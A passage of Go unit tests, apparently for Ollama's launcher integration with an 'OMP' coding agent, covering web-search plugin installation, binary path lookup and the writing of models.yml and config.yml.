dst := filepath.Join(dir, ompExecutableNames()[0])
if err := os.WriteFile(dst, data, 0o755); err != nil {
t.Fatal(err)
}
}
setCloudStatus := func(t *testing.T, disabled bool) {
t.Helper()
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == "/api/status" {
fmt.Fprintf(w, `{"cloud":{"disabled":%t,"source":"config"}}`, disabled)
return
}
http.NotFound(w, r)
}))
t.Cleanup(srv.Close)
t.Setenv("OLLAMA_HOST", srv.URL)
}
setup := func(t *testing.T, pluginList string, cloudDisabled bool) (string, *OMP) {
t.Helper()
tmpDir := t.TempDir()
setOMPTestHome(t, tmpDir)
t.Setenv("PATH", tmpDir)
t.Setenv("OLLAMA_LAUNCH_OMP_TEST_HELPER", "1")
t.Setenv("OLLAMA_LAUNCH_OMP_TEST_PLUGIN_LIST", pluginList)
logPath := filepath.Join(tmpDir, "omp.log")
t.Setenv("OLLAMA_LAUNCH_OMP_TEST_LOG", logPath)
setCloudStatus(t, cloudDisabled)
seedOMPHelperBinary(t, tmpDir)
return logPath, &OMP{}
}
t.Run("web search missing installs before launch", func(t *testing.T) {
logPath, o := setup(t, "No plugins installed\n", false)
if err := o.Run("kimi-k2.6:cloud", nil, []string{"session"}); err != nil {
t.Fatalf("Run() error = %v", err)
}
calls, err := os.ReadFile(logPath)
if err != nil {
t.Fatal(err)
}
got := string(calls)
if !strings.Contains(got, "plugin list\n") {
t.Fatalf("expected plugin list call, got:\n%s", got)
}
if !strings.Contains(got, "plugin install "+ompWebSearchPlugin+"\n") {
t.Fatalf("expected plugin install call, got:\n%s", got)
}
if !strings.Contains(got, "--model ollama/kimi-k2.6:cloud session\n") {
t.Fatalf("expected final omp launch call, got:\n%s", got)
}
})
t.Run("web search present refreshes before launch", func(t *testing.T) {
logPath, o := setup(t, "npm Plugins:\n\n● "+ompWebSearchPlugin+"@0.0.5\n", false)
if err := o.Run("gemma4", nil, []string{"chat"}); err != nil {
t.Fatalf("Run() error = %v", err)
}
calls, err := os.ReadFile(logPath)
if err != nil {
t.Fatal(err)
}
got := string(calls)
if !strings.Contains(got, "plugin install "+ompWebSearchPlugin+"\n") {
t.Fatalf("expected plugin refresh install call, got:\n%s", got)
}
if !strings.Contains(got, "--model ollama/gemma4 chat\n") {
t.Fatalf("expected final omp launch call, got:\n%s", got)
}
})
t.Run("web search install failure warns and continues", func(t *testing.T) {
logPath, o := setup(t, "No plugins installed\n", false)
t.Setenv("OLLAMA_LAUNCH_OMP_TEST_FAIL_INSTALL", "1")
stderr := captureStderr(t, func() {
if err := o.Run("gemma4", nil, []string{"chat"}); err != nil {
t.Fatalf("Run() should continue after plugin install failure, got %v", err)
}
})
if !strings.Contains(stderr, "Warning: could not install "+ompWebSearchPlugin) {
t.Fatalf("expected install warning, got:\n%s", stderr)
}
calls, err := os.ReadFile(logPath)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(string(calls), "--model ollama/gemma4 chat\n") {
t.Fatalf("expected final omp launch call, got:\n%s", calls)
}
})
t.Run("cloud disabled skips web search plugin management", func(t *testing.T) {
logPath, o := setup(t, "No plugins installed\n", true)
stderr := captureStderr(t, func() {
if err := o.Run("gemma4", nil, []string{"chat"}); err != nil {
t.Fatalf("Run() error = %v", err)
}
})
if !strings.Contains(stderr, "Cloud is disabled; skipping "+ompWebSearchPlugin+" setup.") {
t.Fatalf("expected cloud-disabled skip message, got:\n%s", stderr)
}
calls, err := os.ReadFile(logPath)
if err != nil {
t.Fatal(err)
}
got := string(calls)
if strings.Contains(got, "plugin list\n") || strings.Contains(got, "plugin install "+ompWebSearchPlugin+"\n") {
t.Fatalf("did not expect plugin management calls, got:\n%s", got)
}
if !strings.Contains(got, "--model ollama/gemma4 chat\n") {
t.Fatalf("expected final omp launch call, got:\n%s", got)
}
})
}
func TestOMPFindPath(t *testing.T) {
o := &OMP{}
t.Run("finds omp in PATH", func(t *testing.T) {
tmpDir := t.TempDir()
name := "omp"
if runtime.GOOS == "windows" {
name = "omp.exe"
}
fakeBin := filepath.Join(tmpDir, name)
os.WriteFile(fakeBin, []byte("#!/bin/sh\n"), 0o755)
t.Setenv("PATH", tmpDir)
got, err := o.findPath()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if got != fakeBin {
t.Errorf("findPath() = %q, want %q", got, fakeBin)
}
})
t.Run("falls back to ~/.local/bin/omp", func(t *testing.T) {
home := t.TempDir()
setOMPTestHome(t, home)
t.Setenv("PATH", t.TempDir())
fallback := filepath.Join(home, ".local", "bin", ompExecutableNames()[0])
os.MkdirAll(filepath.Dir(fallback), 0o755)
os.WriteFile(fallback, []byte("#!/bin/sh\n"), 0o755)
got, err := o.findPath()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if got != fallback {
t.Errorf("findPath() = %q, want %q", got, fallback)
}
})
t.Run("falls back to ~/.bun/bin/omp", func(t *testing.T) {
home := t.TempDir()
setOMPTestHome(t, home)
t.Setenv("PATH", t.TempDir())
fallback := filepath.Join(home, ".bun", "bin", ompExecutableNames()[0])
os.MkdirAll(filepath.Dir(fallback), 0o755)
os.WriteFile(fallback, []byte("#!/bin/sh\n"), 0o755)
got, err := o.findPath()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if got != fallback {
t.Errorf("findPath() = %q, want %q", got, fallback)
}
})
t.Run("returns error when not found", func(t *testing.T) {
home := t.TempDir()
setOMPTestHome(t, home)
t.Setenv("PATH", t.TempDir())
if _, err := o.findPath(); err == nil {
t.Fatal("expected error, got nil")
}
})
}
func TestOMPConfigureWithModelsWritesModelsYML(t *testing.T) {
home := t.TempDir()
setOMPTestHome(t, home)
t.Setenv("OLLAMA_HOST", "http://0.0.0.0:11434")
o := &OMP{}
models := []LaunchModel{
{
Name: "glm-5.1:cloud",
ContextLength: 202_752,
MaxOutputTokens: 131_072,
},
{
Name: "qwen3.6",
Capabilities: []modelpkg.Capability{modelpkg.CapabilityVision},
},
}
if err := o.ConfigureWithModels("glm-5.1:cloud", models); err != nil {
t.Fatalf("ConfigureWithModels returned error: %v", err)
}
path := filepath.Join(home, ".omp", "agent", "models.yml")
data, err := os.ReadFile(path)
if err != nil {
t.Fatalf("failed to read models.yml: %v", err)
}
cfg := parseOMPConfigYAML(t, data)
provider := ompProviderFromYAML(t, cfg)
if provider["baseUrl"] != "http://127.0.0.1:11434/v1" {
t.Fatalf("baseUrl = %v, want connectable OpenAI-compatible host", provider["baseUrl"])
}
if provider["api"] != "openai-responses" {
t.Fatalf("api = %v, want openai-responses", provider["api"])
}
if provider["auth"] != "none" {
t.Fatalf("auth = %v, want none", provider["auth"])
}
discovery, _ := provider["discovery"].(map[string]any)
if discovery["type"] != "ollama" {
t.Fatalf("discovery = %v, want type ollama", discovery)
}
entries := ompModelEntriesFromYAML(t, provider)
if len(entries) != 2 {
t.Fatalf("models length = %d, want 2", len(entries))
}
if entries[0]["id"] != "glm-5.1:cloud" {
t.Fatalf("first model id = %v, want primary first", entries[0]["id"])
}
if got := numericYAMLValue(entries[0]["contextWindow"]); got != 202_752 {
t.Fatalf("contextWindow = %d, want 202752", got)
}
if got := numericYAMLValue(entries[0]["maxTokens"]); got != 131_072 {
t.Fatalf("maxTokens = %d, want 131072", got)
}
if input := stringSliceYAMLValue(entries[1]["input"]); !slices.Equal(input, []string{"text", "image"}) {
t.Fatalf("vision input = %v, want [text image]", input)
}
if got := o.CurrentModel(); got != "glm-5.1:cloud" {
t.Fatalf("CurrentModel = %q, want glm-5.1:cloud", got)
}
configPath := filepath.Join(home, ".omp", "agent", "config.yml")
configData, err := os.ReadFile(configPath)
if err != nil {
t.Fatalf("failed to read config.yml: %v", err)
}
config := parseOMPConfigYAML(t, configData)
if got := numericYAMLValue(config["setupVersion"]); got != ompSetupVersion {
t.Fatalf("setupVersion = %d, want %d", got, ompSetupVersion)
}
if paths := o.Paths(); !slices.Equal(paths, []string{path, configPath}) {
t.Fatalf("Paths = %v, want [%s %s]", paths, path, configPath)
}
}
func TestOMPConfigureWithModelsPreservesExistingConfig(t *testing.T) {
home := t.TempDir()
setOMPTestHome(t, home)
modelsPath := filepath.Join(home, ".omp", "agent", "models.yml")
if err := os.MkdirAll(filepath.Dir(modelsPath), 0o755); err != nil {
t.Fatal(err)
}
existing := []byte(`
providers:
anthropic:
baseUrl: https://example.com/anthropic
ollama:
baseUrl: http://old-host:11434
api: openai-responses
auth: none
models:
- id: old-model
name: Old Model
customField: keep-me
`)
if err := os.WriteFile(modelsPath, existing, 0o644); err != nil {
t.Fatal(err)
}
configPath := filepath.Join(home, ".omp", "agent", "config.yml")
existingConfig := []byte(`
lastChangelogVersion: 15.7.6
setupVersion: 0
theme: monochrome
`)
if err := os.WriteFile(configPath, existingConfig, 0o644); err != nil {
t.Fatal(err)
}
o := &OMP{}
if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}, {Name: "old-model"}}); err != nil {
t.Fatalf("ConfigureWithModels returned error: %v", err)
}
data, err := os.ReadFile(modelsPath)
if err != nil {
t.Fatal(err)
}
cfg := parseOMPConfigYAML(t, data)
providers, _ := cfg["providers"].(map[string]any)
if _, ok := providers["anthropic"]; !ok {
t.Fatalf("expected non-Ollama provider to be preserved: %v", providers)
}
provider := ompProviderFromYAML(t, cfg)
if provider["baseUrl"] != "http://127.0.0.1:11434/v1" {
t.Fatalf("baseUrl = %v, want repaired OpenAI-compatible host", provider["baseUrl"])
}
entries := ompModelEntriesFromYAML(t, provider)
if len(entries) != 2 {
t.Fatalf("models length = %d, want 2", len(entries))
}
if entries[0]["id"] != "new-model" {
t.Fatalf("first model id = %v, want new-model", entries[0]["id"])
}
if entries[1]["id"] != "old-model" {
t.Fatalf("second model id = %v, want old-model", entries[1]["id"])
}
if entries[1]["customField"] != "keep-me" {
t.Fatalf("custom field was not preserved: %v", entries[1])
}
configData, err := os.ReadFile(configPath)
if err != nil {
t.Fatal(err)
}
config := parseOMPConfigYAML(t, configData)
if got := numericYAMLValue(config["setupVersion"]); got != ompSetupVersion {
t.Fatalf("setupVersion = %d, want %d", got, ompSetupVersion)
}
if config["theme"] != "monochrome" {
t.Fatalf("theme was not preserved: %v", config)
}
if config["lastChangelogVersion"] != "15.7.6" {
t.Fatalf("lastChangelogVersion was not preserved: %v", config)
}
}
func TestOMPConfigureWithModelsAlwaysMarksSetupComplete(t *testing.T) {
home := t.TempDir()
setOMPTestHome(t, home)
configPath := filepath.Join(home, ".omp", "agent", "config.yml")
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(configPath, []byte("setupVersion: 2\n"), 0o644); err != nil {
t.Fatal(err)
}
o := &OMP{}
if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}}); err != nil {
t.Fatalf("ConfigureWithModels returned error: %v", err)
}
configData, err := os.ReadFile(configPath)
if err != nil {
t.Fatal(err)
}
config := parseOMPConfigYAML(t, configData)
if got := numericYAMLValue(config["setupVersion"]); got != ompSetupVersion {
t.Fatalf("setupVersion = %d, want %d", got, ompSetupVersion)
}
}
func TestOMPConfigureWithModelsRespectsPiConfigDir(t *testing.T) {
home := t.TempDir()
setOMPTestHome(t, home)
t.Setenv("PI_CONFIG_DIR", ".custom-omp")
o := &OMP{}
if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}}); err != nil {
t.Fatalf("ConfigureWithModels returned error: %v", err)
}
modelsPath := filepath.Join(home, ".custom-omp", "agent", "models.yml")
configPath := filepath.Join(home, ".custom-omp", "agent", "config.yml")
for _, path := range []string{modelsPath, configPath} {
if _, err := os.Stat(path); err != nil {
t.Fatalf("expected %s to be written: %v", path, err)
}
}
if _, err := os.Stat(filepath.Join(home, ".omp", "agent", "models.yml")); !os.IsNotExist(err) {
t.Fatalf("expected default OMP models path to be untouched, got err %v", err)
}
if paths := o.Paths(); !slices.Equal(paths, []string{modelsPath, configPath}) {
t.Fatalf("Paths = %v, want [%s %s]", paths, modelsPath, configPath)
}
}
func TestOMPConfigureWithModelsRespectsPiCodingAgentDir(t *testing.T) {
home := t.TempDir()
setOMPTestHome(t, home)
agentDir := filepath.Join(home, "agent-override")
t.Setenv("PI_CONFIG_DIR", ".ignored-omp")
t.Setenv("PI_CODING_AGENT_DIR", agentDir)
o := &OMP{}
if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}}); err != nil {
t.Fatalf("ConfigureWithModels returned error: %v", err)
}
modelsPath := filepath.Join(agentDir, "models.yml")
configPath := filepath.Join(agentDir, "config.yml")
for _, path := range []string{modelsPath, configPath} {
if _, err := os.Stat(path); err != nil {
t.Fatalf("expected %s to be written: %v", path, err)
}
}
if _, err := os.Stat(filepath.Join(home, ".ignored-omp", "agent", "models.yml")); !os.IsNotExist(err) {
t.Fatalf("expected PI_CONFIG_DIR path to be ignored when PI_CODING_AGENT_DIR is set, got err %v", err)
}
if got := o.CurrentModel(); got != "new-model" {
t.Fatalf("CurrentModel = %q, want new-model", got)
}
}
func TestOMPCurrentModelRequiresHealthyProvider(t *testing.T) {
home := t.TempDir()
setOMPTestHome(t, home)
t.Setenv("OLLAMA_HOST", "http://127.0.0.1:11434")
modelsPath := filepath.Join(home, ".omp", "agent", "models.yml")
if err := os.MkdirAll(filepath.Dir(modelsPath), 0o755); err != nil {
t.Fatal(err)
}
tests := []struct {
name string
provider string
}{
{
name: "wrong base url",
provider: "" +
" baseUrl: http://127.0.0.1:9999/v1\n" +
" api: openai-responses\n" +
" auth: none\n" +
" discovery:\n" +
" type: ollama\n",
},
{
name: "wrong api",
provider: "" +
" baseUrl: http://127.0.0.1:11434/v1\n" +
" api: openai-chat\n" +
" auth: none\n" +
" discovery:\n" +
" type: ollama\n",
},
{
name: "wrong auth",
provider: "" +
" baseUrl: http://127.0.0.1:11434/v1\n" +
" api: openai-responses\n" +
" auth: api-key\n" +
" discovery:\n" +
" type: ollama\n",
},
{
name: "wrong discovery",
provider: "" +
" baseUrl: http://127.0.0.1:11434/v1\n" +
" api: openai-responses\n" +
" auth: none\n" +
" discovery:\n" +
" type: static\n",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
cfg := "providers:\n" +
" ollama:\n" +
tt.provider +
" models:\n" +
" - id: gemma4\n"
if err := os.WriteFile(modelsPath, []byte(cfg), 0o644); err != nil {
t.Fatal(err)
}
if got := (&OMP{}).CurrentModel(); got != "" {
t.Fatalf("expected stale config to return empty current model, got %q", got)
}
})
}
}
func parseOMPConfigYAML(t *testing.T, data []byte) map[string]any {
t.Helper()
var cfg map[string]any
if err := yaml.Unmarshal(data, &cfg); err != nil {
t.Fatalf("generated YAML did not parse: %v\n%s", err, data)
}
return cfg
}
func ompProviderFromYAML(t *testing.T, cfg map[string]any) map[string]any {
t.Helper()
providers, ok := cfg["providers"].(map[string]any)
if !ok {
t.Fatalf("providers missing from config: %v", cfg)
}
provider, ok := providers["ollama"].(map[string]any)
if !ok {
t.Fatalf("ollama provider missing from config: %v", providers)
}
return provider
}
func ompModelEntriesFromYAML(t *testing.T, provider map[string]any) []map[string]any {
t.Helper()
rawModels, ok := provider["models"].([]any)
if !ok {
t.Fatalf("provider models missing: %v", provider)
}
models := make([]map[string]any, 0, len(rawModels))
for _, raw := range rawModels {
entry, ok := raw.(map[string]any)
if !ok {
t.Fatalf("model entry has unexpected type %T: %v", raw, raw)
}
models = append(models, entry)
}
return models
}
func numericYAMLValue(value any) int {
switch v := value.(type) {
case int:
return v
case int64:
return int(v)
case float64:
return int(v)
default:
return 0
}
}
func stringSliceYAMLValue(value any) []string {
raw, _ := value.([]any)
out := make([]string, 0, len(raw))
for _, item := range raw {
if s, ok := item.(string); ok {
out = append(out, s)
}
}
return out
}
Loaded 100 of 1449 files, more files were not shown because too many files have changed in this diff. Show more